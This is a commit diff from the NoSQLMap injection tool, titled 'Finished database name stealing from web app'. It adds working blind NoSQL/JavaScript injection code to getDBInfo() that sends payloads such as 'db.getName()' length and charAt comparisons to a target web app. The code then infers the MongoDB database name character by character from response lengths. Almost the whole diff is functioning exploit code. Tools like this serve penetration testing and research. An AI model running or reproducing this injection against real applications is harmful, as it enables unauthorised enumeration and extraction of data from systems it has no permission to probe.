Skip to content

Commit 1cd4ee1

Browse files
committed
Finished database name stealing from web app
1 parent 3b0c02a commit 1cd4ee1

File tree

1 file changed

+32
-4
lines changed

1 file changed

+32
-4
lines changed

nosqlmap.py

Lines changed: 32 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1075,13 +1075,18 @@ def brute_pass(user,key):
10751075
def getDBInfo():
10761076
curLen = 0
10771077
nameLen = 0
1078+
gotFullDb = False
10781079
gotNameLen = False
10791080
gotDbName = False
10801081
gotColLen = False
10811082
gotColName = False
1083+
dbName = ""
1084+
charCounter = 0
1085+
nameCounter = 0
1086+
chars = string.ascii_letters + string.digits
10821087
print "Getting baseline True query return size..."
10831088
trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
1084-
print "Debug " + str(trueUri)
1089+
#print "Debug " + str(trueUri)
10851090
baseLen = int(len(urllib.urlopen(trueUri).read()))
10861091
print "Got baseline true query length of " + str(baseLen)
10871092

@@ -1090,16 +1095,39 @@ def getDBInfo():
10901095

10911096
while gotNameLen == False:
10921097
calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} vardum='a" + "&")
1093-
print "Debug: " + calcUri
1098+
#print "Debug: " + calcUri
10941099
lenUri = int(len(urllib.urlopen(calcUri).read()))
1095-
print "Debug length: " + str(lenUri)
1100+
#print "Debug length: " + str(lenUri)
10961101

10971102
if lenUri == baseLen:
1098-
print " Got database name length of " + str(curLen) + " characters."
1103+
print "Got database name length of " + str(curLen) + " characters."
10991104
gotNameLen = True
11001105

11011106
else:
11021107
curLen += 1
1108+
1109+
print "Database Name: ",
1110+
while gotDbName == False:
1111+
charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } vardum='a")
1112+
#print "Debug: " + charUri
1113+
1114+
lenUri = int(len(urllib.urlopen(charUri).read()))
1115+
#print "debug: " + str(charCounter)
1116+
#print "Debug length: " + str(lenUri)
1117+
1118+
if lenUri == baseLen:
1119+
dbName = dbName + chars[charCounter]
1120+
print chars[charCounter],
1121+
nameCounter += 1
1122+
charCounter = 0
1123+
1124+
if nameCounter == curLen:
1125+
gotDbName = True
1126+
1127+
1128+
else:
1129+
charCounter += 1
1130+
print "\n"
11031131
raw_input("Press enter to continue...")
11041132

11051133
mainMenu()

0 commit comments

Comments
 (0)